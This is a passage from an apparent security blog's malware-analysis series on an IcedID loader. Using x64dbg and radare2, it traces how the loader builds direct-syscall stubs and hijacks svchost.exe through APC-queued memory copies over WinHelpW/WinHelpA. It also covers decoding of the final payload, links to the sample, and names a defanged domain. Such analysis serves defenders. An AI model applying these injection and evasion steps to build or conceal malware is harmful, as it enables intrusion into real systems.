<p>Moving on to the next call of the <code class="language-plaintext highlighter-rouge">memcpy</code> routine, the sample copies <code class="language-plaintext highlighter-rouge">0xC4E</code> (3150) bytes from the very first allocated memory region to the tail of the data written into the heap region previously described.</p>

<p>This second chunk of data being copied was originally transferred from <code class="language-plaintext highlighter-rouge">0x0814E394BBE</code> (file offset <code class="language-plaintext highlighter-rouge">0x2BBBE</code>) into memory region 1, where is was then de-obfuscated.</p>

<p>The data copied into this heap region becomes very relevant later on. At this stage there is some missing information so don’t dump the memory region just yet.
To clarify, the first chunk is obfuscated in some way, the second chunk is valid shellcode.</p>

<p><br />
The next call the  <code class="language-plaintext highlighter-rouge">memcpy</code> routine is used to copy a more 4 bytes containing the value <code class="language-plaintext highlighter-rouge">0x5B330000</code> into a location within the first allocated memory region. If we swap the endianness of <code class="language-plaintext highlighter-rouge">0x5B330000</code> we get <code class="language-plaintext highlighter-rouge">0x335B</code>, matching the size of a previously copied segment of shellcode… very interesting…</p>

<p><br />
Next, the shellcode’s routine for locating a procedure based on its hash is used to locate <code class="language-plaintext highlighter-rouge">CreateThread</code>.
This location is then used to patch the shellcode that was written into the first region of allocated memory, using the <code class="language-plaintext highlighter-rouge">memcpy</code> routine.</p>

<p><em>Figure 17</em> shows the start of the <code class="language-plaintext highlighter-rouge">memcpy</code> routine with the shellcode to be patched in the lower pane. 
Currently, the 8 bytes to be patched contains <code class="language-plaintext highlighter-rouge">0xA1A2A3A4A5</code></p>

<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_patching_shellcode_1.png" />
<br />
<i>Figure 17: x64dbg - Shell code patching routine, before patch.</i>
</div>

<p><br /></p>

<p><em>Figure 18</em> shows the shellcode after being patched, containing the address of <code class="language-plaintext highlighter-rouge">CreateThread</code> ready for it to be copied into <code class="language-plaintext highlighter-rouge">RAX</code> and then called.</p>

<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_patching_shellcode_2.png" />
<br />
<i>Figure 18: x64dbg - Shell code patching routine, after patch.</i>
</div>

<p><br />
The same process of locating a function, and then patching shellcode is also carried out for additional functions.</p>

<p>The complete list of functions resolved and patched is:</p>

<ul>
  <li>CreateThread</li>
  <li>LoadLibraryA</li>
  <li>ReadProcessMemory</li>
  <li>VirtualProtect</li>
  <li>RtlAllocateHeap</li>
  <li>NtClose</li>
  <li>ZwCreateThreadEx</li>
</ul>

<p>Next comes a routine that appears (at least to me), to parse the <code class="language-plaintext highlighter-rouge">ntdll.dll</code> module for the various syscall operations.</p>

<p>Continuing the execution again we hit another call to the <code class="language-plaintext highlighter-rouge">memcpy</code> routine, this time copying <code class="language-plaintext highlighter-rouge">0xB</code> (11) bytes from a stack based address into a location within the first allocated memory region.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4C 8B D1 B8 00 00 00 00 0F 05 C3 
</code></pre></div></div>

<p>At first glance the purpose of the byte sequence is not obvious, it’s certainly not an address as previously observed.
If you continue to view the disassembler during the <code class="language-plaintext highlighter-rouge">memcpy</code> routine, you would have seen a patch applied to call a syscall directly.</p>

<p>We can quickly check the above hexadecimal opcodes using the <b>CyberChef</b><sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">10</a></sup> recipe to <code class="language-plaintext highlighter-rouge">Disasemble X86</code> or use the following <b>rasm2</b> command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>rasm2 <span class="nt">-a</span> x86 <span class="nt">-b</span> 64 <span class="nt">-d</span> <span class="s1">'4C 8B D1 B8 00 00 00 00 0F 05 C3'</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov r10, rcx
mov eax, 0
syscall
ret
</code></pre></div></div>

<p><br /></p>

<p>This syscall related activity has a lot of similarities with what is described <a href="https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time">here</a> over at <a href="https://www.ired.team">www.ired.team</a></p>

<p><br />
Once the syscalls stubs have been copied over, the function <code class="language-plaintext highlighter-rouge">ZwAllocateVirtualMemory</code>, is then used to request <code class="language-plaintext highlighter-rouge">0x3841</code> (14401) bytes of memory with the protection constant <code class="language-plaintext highlighter-rouge">PAGE_WRITECOPY</code>, this region will be labelled and hence forth known as memory region 2.</p>

<p><em>Figure 19</em> shows the call to <code class="language-plaintext highlighter-rouge">ZwAllocateVirtualMemory</code> being made. The registers <code class="language-plaintext highlighter-rouge">RDX</code> and <code class="language-plaintext highlighter-rouge">R8</code> are being used to provide the address and protection flags.
As can be seen in the display, <code class="language-plaintext highlighter-rouge">RCX</code> contains the location of memory, which contains the location in memory that is being altered….aka a pointer.</p>

<p>The address being altered here is stored in little-endian, and is <code class="language-plaintext highlighter-rouge">0x29E3E670000</code> as shown in the lower dump 2 pane.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_zwprotectvirtualmemory_r13.png" />
<br />
<i>Figure 19: x64dbg - ZwProtectVirtualMemory from R13 register</i>
</div>

<p><br /></p>

<p>After building the syscall routines and patching the shellcode in memory region 1, more API’s are resolved.</p>

<ul>
  <li>NtOpenProcess</li>
  <li>NtClose</li>
  <li>RtlFreeHeap</li>
</ul>

<p><br />
The malware went to a lot of trouble to generate the syscall stubs, it finally begins to use them starting with a call via the <code class="language-plaintext highlighter-rouge">RSI</code> register.</p>

<p>Setting an execution breakpoint on the region of memory containing the syscall stubs will allow you to step through the next procedure.</p>

<p><em>Figure 20</em> shows the call via the <code class="language-plaintext highlighter-rouge">RSI</code> register, with a value of <code class="language-plaintext highlighter-rouge">0x5</code> being passed in on the <code class="language-plaintext highlighter-rouge">RCX</code> register.
In the disassembly view in the bottom pane, you can see the syscall ID being loaded into <code class="language-plaintext highlighter-rouge">RAX</code>, the value <code class="language-plaintext highlighter-rouge">0x36</code> resolves to <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code><sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">11</a></sup></p>

<p>Taking a look at the documentation for <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi/system_information_class.htm">here</a> provided by Geoff Chappell, the value <code class="language-plaintext highlighter-rouge">0x5</code> is the constant for <code class="language-plaintext highlighter-rouge">SystemProcessInformation</code>.
This is being used to generate a process listings, more details can be found <a href="https://tbhaxor.com/windows-process-listing-using-ntquerysysteminformation/">here</a></p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_shellcode_NtQuerySystemInformation_1.png" />
<br />
<i>Figure 20: x64dbg - NtQuerySystemInformation native syscall</i>
</div>
<p><br /></p>

<p>Once the PID for <code class="language-plaintext highlighter-rouge">explorer.exe</code> is located, it is passed to the <code class="language-plaintext highlighter-rouge">NtOpenProcess</code> syscall.
Opening the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process in <b>ProcessHacker</b> we can see the handle to <code class="language-plaintext highlighter-rouge">explorer.exe</code> has been opened, as shown in <em>Figure 21</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_explorer_process_opened.png" />
<br />
<i>Figure 21: ProcessHacker - Handle to explorer process opened.</i>
</div>
<p><br /></p>

<p>The handle on <code class="language-plaintext highlighter-rouge">explorer.exe</code> is then used by a call to <code class="language-plaintext highlighter-rouge">NtOpenProcessToken</code>.
The returned handle for the token is passed to <code class="language-plaintext highlighter-rouge">NtQueryInformationToken</code> before being closed with <code class="language-plaintext highlighter-rouge">NtClose</code>.</p>

<p><br />
The syscall <code class="language-plaintext highlighter-rouge">NtSystemQueryInformation</code> is then used as it was previously to generate a list of processes running on the system.</p>

<p>A series of calls to <code class="language-plaintext highlighter-rouge">NtOpenProcess</code> is then issued against all <code class="language-plaintext highlighter-rouge">svchost.exe</code> processes until one can be successfully opened.
As the process is running in a non-privileged context, calls to <code class="language-plaintext highlighter-rouge">svchost.exe</code> processes running as <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code> are responded to with an access denied value in <code class="language-plaintext highlighter-rouge">EAX</code> as shown in <em>Figure 22</em></p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_NtOpenProcess_access_denied.png" />
<br />
<i>Figure 22: x64dbg - NtOpenProcess Access Denied.</i>
</div>
<p><br /></p>

<p><em>Note: The <code class="language-plaintext highlighter-rouge">sihost.exe</code> process is also attempted if the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process list becomes exhausted.</em></p>

<p>Once a handle to an <code class="language-plaintext highlighter-rouge">svchost.exe</code> process is opened, the token information is harvested using <code class="language-plaintext highlighter-rouge">NtOpenProcessToken</code> and <code class="language-plaintext highlighter-rouge">NtQueryInformationToken</code>.</p>

<p>To determine if the target <code class="language-plaintext highlighter-rouge">svchost.exe</code> process is the correct architecture, <code class="language-plaintext highlighter-rouge">NtQueryInformationProcess</code> is used to check the <code class="language-plaintext highlighter-rouge">ProcessWow64Information</code> details.</p>

<p>For each thread on the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process the following routines are called:</p>

<ul>
  <li>NtOpenThread</li>
  <li>NtCreateEvent</li>
  <li>NtDuplicateObject</li>
  <li>NtQueueApcThread</li>
  <li>SetEvent</li>
</ul>

<p>Once each thread has been setup, there is a call to <code class="language-plaintext highlighter-rouge">NtQuerySystemTime</code>.</p>

<p>The shellcode residing in memory region 1, is further patched with the value <code class="language-plaintext highlighter-rouge">0xB18</code> forming the first argument to <code class="language-plaintext highlighter-rouge">ReadProcessMemory</code> as shown in <em>Figure 23</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_ReadProcessMemory_size_patch.png" />
<br />
<i>Figure 23: x64dbg - Length value being patched in shellcode</i>
</div>
<p><br /></p>

<p><br /></p>

<p>Using the handle to <code class="language-plaintext highlighter-rouge">svchost.exe</code>, the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process makes a call to <code class="language-plaintext highlighter-rouge">NtVirtualProtect</code> targeting the address of <code class="language-plaintext highlighter-rouge">WinHelpW</code> from <code class="language-plaintext highlighter-rouge">user32.dll</code>.</p>

<p>Looking at the <code class="language-plaintext highlighter-rouge">R9</code> register in <em>Figure 24</em> you can see the value <code class="language-plaintext highlighter-rouge">0x40</code>, which corresponds to the memory protection constant <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>.</p>

<p><br />
<br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_virtualprotect_winhelpw.png" />
<br />
<i>Figure 24: x64dbg - NtVirtualProtect WinHelpW</i>
</div>
<p><br /></p>

<h3 id="payload-transfer">Payload Transfer</h3>

<p>The <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process then calls <code class="language-plaintext highlighter-rouge">NtCreateSection</code> to create a section within the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process.
This section is then mapped into view of the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process using <code class="language-plaintext highlighter-rouge">NtMapViewOfSection</code>.</p>

<p>With the section accessible to the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process, the <code class="language-plaintext highlighter-rouge">memcpy</code> implementation is called twice.
The first transfer copies <code class="language-plaintext highlighter-rouge">0x4A</code> bytes, and the second transfers <code class="language-plaintext highlighter-rouge">0x18F</code> bytes from the first memory region.</p>

<p>You’ll notice the byte sizes align with the blocks of data transferred from the <code class="language-plaintext highlighter-rouge">.reloc</code> section into “memory region 1”, which has been decoded and subsequently patched.</p>

<p><br />
The original bytes from both <code class="language-plaintext highlighter-rouge">WinHelpW</code> (0x4A) and <code class="language-plaintext highlighter-rouge">WinHelpA</code> (0x18F) are copied into a location of memory, possibly for restoring later.</p>

<p>Once data has been written by the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process, <code class="language-plaintext highlighter-rouge">NtUnMapviewofSection</code> is called on the section.</p>

<p><br />
Using the handle to the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process, the section is mapped into memory using <code class="language-plaintext highlighter-rouge">NtMapViewOfSection</code>.</p>

<p>Now comes a really interesting process, to avoid using heavily monitored API’s the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process such as <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">rundll32.exe</code> processes calls the <code class="language-plaintext highlighter-rouge">NtQueueApcThread</code> routine to schedule an execution of <code class="language-plaintext highlighter-rouge">RtlCopyMemory</code> within the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process. The source parameter is the location of the mapped memory region of the shared section, the destination parameter contains the address of the <code class="language-plaintext highlighter-rouge">WinHelpW</code> routine within <code class="language-plaintext highlighter-rouge">user32.dll</code>.</p>

<p>Thus when the queued APC routine executes, the <code class="language-plaintext highlighter-rouge">WinHelpW</code> routine will be replaced with shellcode.</p>

<p>The setup for this can be seen in <em>Figure 25</em> below.</p>

<p><br />
<br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_RtlCopyMemory_shellcode.png" />
<br />
<i>Figure 25: x64dbg - WinHelpW execution after NtDelayExecution</i>
</div>
<p><br /></p>

<p><br /></p>

<p>The same technique is then used to copy data from the mapped section, to overwrite the <code class="language-plaintext highlighter-rouge">WinHelpA</code> routine.
The shellcode at <code class="language-plaintext highlighter-rouge">WinHelpW</code> is then scheduled to execute using the <code class="language-plaintext highlighter-rouge">NtQueueApcThread</code> routine as well as <code class="language-plaintext highlighter-rouge">Sleep</code> and a call to <code class="language-plaintext highlighter-rouge">NtDelayExecution</code>.</p>

<p><br /></p>

<p>Both the <code class="language-plaintext highlighter-rouge">WinHelpW</code> and <code class="language-plaintext highlighter-rouge">WinHelpA</code> locations have their memory protection restored back to <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READ</code> using <code class="language-plaintext highlighter-rouge">NtVirtualProtectMemory</code>, and the section becomes unmapped in the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process with a call to <code class="language-plaintext highlighter-rouge">NtUnMapviewofSection</code>.</p>

<p><br />
Execution from this point will continue from within the perspective of the <code class="language-plaintext highlighter-rouge">svchost.exe</code> process.</p>

<p>Setting a breakpoint on the <code class="language-plaintext highlighter-rouge">WinHelpW</code> routine, we can examine this further.</p>

<p><br /></p>
<h3 id="executing-winhelpw-shellcode">Executing WinHelpW Shellcode</h3>

<pre><code class="language-command">$ r2 -AA -c 'pdf' svchost_user32_injected.bin
</code></pre>

<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_user32_winhelpw_shellcode.png" />
<br />
<i>Figure 26: radare2 - svchost.exe User32.dll WinHelpW Shellcode </i>
</div>
<p><br /></p>

<p>Calls to <code class="language-plaintext highlighter-rouge">OpenProcess</code> on the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process.
Then <code class="language-plaintext highlighter-rouge">ReadProcessMemory</code> from the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process, the heap allocated data previously described.</p>

<p><br />
<br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_readprocessmemory.png" />
<br />
<i>Figure 27: x64dbg - ReadProcessMemory called from svchost.exe</i>
</div>
<p><br /></p>

<p>As you can see from the screen shot in <em>Figure 28</em>, some of the data copied may contain a similar configuration block identified with the <code class="language-plaintext highlighter-rouge">init</code> keyword. Further down into the bytes you may also spot the bytes <code class="language-plaintext highlighter-rouge">0xD6</code>, <code class="language-plaintext highlighter-rouge">0xB2</code>, <code class="language-plaintext highlighter-rouge">0x07</code> and <code class="language-plaintext highlighter-rouge">0x00</code> which was the XOR key used within the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> unpacking staged.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_init_configuration.png" />
<br />
<i>Figure 28: x64dbg - svchost.exe init configuration block</i>
</div>
<p><br />
<br /></p>

<p>Taking a look at the shellcode that was placed at <code class="language-plaintext highlighter-rouge">WinHelpA</code> statically in <em>Figure 29</em>, we can see it contains the string <code class="language-plaintext highlighter-rouge">dpx.dll</code> and will call <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> to load it.</p>

<p>It then calls <code class="language-plaintext highlighter-rouge">VirtualProtect</code> on the routine <code class="language-plaintext highlighter-rouge">DpxCheckJobExists</code> to allow a byte copying routine to overwrite its contents, replicating the behaviour from earlier in the unpacking routine.</p>

<p><br /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -AA -c 's 0xe2; pd 40' svchost_user32_injected.bin
</code></pre></div></div>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_user32_winhelpa_shellcode.png" />
<br />
<i>Figure 29: radare2 - LoadLibraryA dpx.dll and overwrite DpxCheckJobExists</i>
</div>
<p><br /></p>

<p>If you are viewing this dynamically then, you will observe <code class="language-plaintext highlighter-rouge">0xC4E</code> (3150) bytes from the second chunk of data copied from the <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process into <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> routine.</p>

<p>A call to <code class="language-plaintext highlighter-rouge">CreateThread</code> is then issued with a base address of <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code></p>

<p>The shellcode located at <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> then kicks of a routine to XOR decode some of the remaining data originally sourced from <code class="language-plaintext highlighter-rouge">rundll32.exe</code>.</p>

<h3 id="payload-decrypting">Payload Decrypting</h3>

<p>In <em>Figure 30</em> below we can see the static disassembly output of the XOR routine used.</p>

<p><br /></p>
<pre><code class="language-command">$ r2 -AA -c 's 0x57; pd 72' svchost_dpx_dpxcheckjobexists.bin
</code></pre>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_xor_decode_svchost_payload.png" />
<br />
<i>Figure 30: radare2 - XOR Routine</i>
</div>
<p><br /></p>

<p>This routine is used to reveal the <b>FINAL</b> PE file payload in its original memory buffer copied over from <code class="language-plaintext highlighter-rouge">rundll32.exe</code>, as shown in <em>Figure 31</em> there is an MZ header and DOS stub visible.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_dpx_decode_transferred_payload.png" />
<br />
<i>Figure 31: x64dbg - Decoded DOS stub header</i>
</div>
<p><br /></p>

<p>As well as the executable file, there also resides some configuration data that is used to allow shellcode to map the PE into the address space.</p>

<p>Value <code class="language-plaintext highlighter-rouge">0x3400</code> taken from payload structure and passed to <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code>
The PE file is the seemingly copied into this allocated memory region.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_MZ_payload_copied_into_new_heap.png" />
<br />
<i>Figure 32: x64dbg - MZ header being copied into allocated Heap region</i>
</div>
<p><br /></p>

<p>Pausing the debugger here, will allow you to extract the executable file before it gets mapped into memory.</p>

<p>As the shellcode within the <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> area executes, it calls <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> with a base region of <code class="language-plaintext highlighter-rouge">0x0180000000</code>, a size of <code class="language-plaintext highlighter-rouge">0x3000</code> (12288) bytes and a page protection flag of <code class="language-plaintext highlighter-rouge">0x40</code> (<code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>).</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_virtualalloc_180000000.png" />
<br />
<i>Figure 33: x64dbg - VirtualAlloc hardcoded 0x0180000000</i>
</div>
<p><br /></p>

<p>Once this very specific location of memory is allocated the PE file is mapped into execute, the process for this is well documented elsewhere.</p>

<p>Once mapped, execution is started using a call to <code class="language-plaintext highlighter-rouge">CreateThread</code> using the <code class="language-plaintext highlighter-rouge">0x01800028D4</code> address as the entry point.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_createthread_malware_execution.png" />
<br />
<i>Figure 34: x64dbg - CreateThread hardcoded 0x0180000000</i>
</div>
<p><br /></p>

<h3 id="unpacked-payload">Unpacked Payload</h3>

<p>Now we have jumped through the many hoops to unpack the final payload, we can validate the contents by loading it into PE-Bear<sup id="fnref:12" role="doc-noteref"><a href="#fn:12" class="footnote" rel="footnote">12</a></sup>.</p>

<p>As you can see from <em>Figure 35</em>, the binary lists some imports from the <code class="language-plaintext highlighter-rouge">WINHTTP.dll</code> that look like might be worthy some additional analysis.</p>

<p>You can find a copy of the file <code class="language-plaintext highlighter-rouge">svchost_icedid_unpacked.bin</code> in the GitHub repository for this blog post <a href="https://github.com/0xtechevo/icedid_malware_loader_analysis">here</a>, or on the malware Bazaar <a href="https://bazaar.abuse.ch/sample/a3fa68045d0106d6db3d43df6b5997d9034f9f7d2a34148187498e4b504ebf58/">here</a>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_svchost_icedid_unpacked.png" />
<br />
<i>Figure 35: PE Bear - Unpacked icedid payload from svchost.exe</i>
</div>
<p><br /></p>

<h2 id="final-words">Final Words</h2>

<p>That’s it for this blog post, its been quite in depth and low-level.
If you want to understand anything covered, or maybe not covered in this post feel free to reach out.</p>

<p>I’m planning to do a part 4 taking a look into the extracted PE file so keep an eye out for that, and in the meantime keep evolving.</p>

<p><a href="https://twitter.com/techevo_">@techevo_</a></p>

<p><br /></p>

<hr />

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="https://www.malware-traffic-analysis.net">https://www.malware-traffic-analysis.net</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://rada.re/n/">https://rada.re/n/</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><a href="https://x64dbg.com/">https://x64dbg.com</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-170">https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc</a> <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:5:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants">https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants</a> <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7" role="doc-endnote">
      <p><a href="https://en.wikipedia.org/wiki/Endianness">https://en.wikipedia.org/wiki/Endianness</a> <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect</a> <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:9" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtlallocateheap">https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtlallocateheap</a> <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p><a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a> <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation">https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation</a> <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:12" role="doc-endnote">
      <p><a href="https://github.com/hasherezade/pe-bear">https://github.com/hasherezade/pe-bear</a> <a href="#fnref:12" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>techevo</name><email>simon at techevo dot uk</email></author><category term="analysis" /><category term="binary" /><category term="icedid" /><category term="malware" /><category term="x64dbg" /><category term="dynamic" /><category term="unpacking" /><category term="shellcode" /><category term="injection" /><category term="radare2" /><summary type="html"><![CDATA[Welcome back to this series, analysing IcedId malware artefacts.]]></summary></entry><entry><title type="html">Carving the IcedId - Part 2</title><link href="https://blog.techevo.uk/analysis/binary/2024/01/01/carving-the-icedid-part-2.html" rel="alternate" type="text/html" title="Carving the IcedId - Part 2" /><published>2024-01-01T00:00:00+00:00</published><updated>2024-01-01T00:00:00+00:00</updated><id>https://blog.techevo.uk/analysis/binary/2024/01/01/carving-the-icedid-part-2</id><content type="html" xml:base="https://blog.techevo.uk/analysis/binary/2024/01/01/carving-the-icedid-part-2.html"><![CDATA[<p>Welcome back to this series, analysing IcedId malware artefacts.</p>

<p>This post is part 2 in the mini-series, if you would like to follow along from the beginning you can find part 1 <a href="https://blog.techevo.uk/analysis/pcap/2023/10/09/carving-the-icedid.html">here</a></p>

<p>During this post I’m going to assume we’ve identified the infected machines based on the PCAP data we analysed and using a bit of prior knowledge walk through the first two stages of the infection routine.</p>

<p>The data for this case was published by <a href="https://twitter.com/malware_traffic">@malware_traffic</a> over at <strong>Malware Traffic Analysis</strong><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. 
You can download all the samples from this case from <a href="https://www.malware-traffic-analysis.net/2023/08/09/index.html">here</a></p>

<p>This walk-through also has a dedicated GitHub repository which can be found <a href="https://github.com/0xtechevo/icedid_webex_msix_analysis">here</a>, which will store various outputs of interest so it should be possible to follow along.</p>

<hr />

<p>During the <em>investigation</em> of the infected endpoint, one of the more common artefacts to examine is the Windows Event Logs. 
Whilst many events can be harvested from the events logs, the <code class="language-plaintext highlighter-rouge">PowerShell/Operational</code> log can be a very fruitful starting point.</p>

<p>If you’re not familiar with these event logs, you can enable them using the following two PowerShell commands.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">New-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"EnableScriptBlockLogging"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span></code></pre></div></div>

<p>There are a number of ways to interrogate Windows Event logs, firstly using the native Windows Event Viewer application.</p>

<p>Secondly if you need to query multiple remote systems, you may use Velociraptor<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> from Rapid7 using the <code class="language-plaintext highlighter-rouge">Windows.EventLogs.Evtx</code> artefact.</p>

<p>For this short walk-through we’ll use the native event viewer method. Within the event viewer we can navigate to the following location, and filter for event code <code class="language-plaintext highlighter-rouge">4104</code>.</p>

<p><br /></p>
<blockquote>
  <p>Applications and Services Logs &gt; Microsoft &gt; Windows &gt; PowerShell &gt; Operational.</p>
</blockquote>

<p><br /></p>

<p>Navigating through the various events we <em>stumble</em> across the script block shown in <em>Figure 1</em>.</p>

<p><br /></p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/icedid_malware_triage_analysis/Screenshot_powershell_script_block.png" />
</div>
<p><em>Figure 1: PowerShell script block event</em></p>

<p><br /></p>

<p>If you wish to view this raw event, you can find a copy within an EVTX file located in the GitHub repository, <a href="https://github.com/0xtechevo/icedid_webex_msix_analysis/blob/main/icedid_powershell_script_block.evtx">here</a>.</p>

<p>From a cursory inspection of the PowerShell code, we can see a familiar domain identified from <a href="https://blog.techevo.uk/analysis/pcap/2023/10/09/carving-the-icedid.html">part 1</a>, namely <code class="language-plaintext highlighter-rouge">9sta9rt4[.]store</code></p>

<p>Another point of interest is the <code class="language-plaintext highlighter-rouge">Path</code> field. This provides the on disk location of the script. 
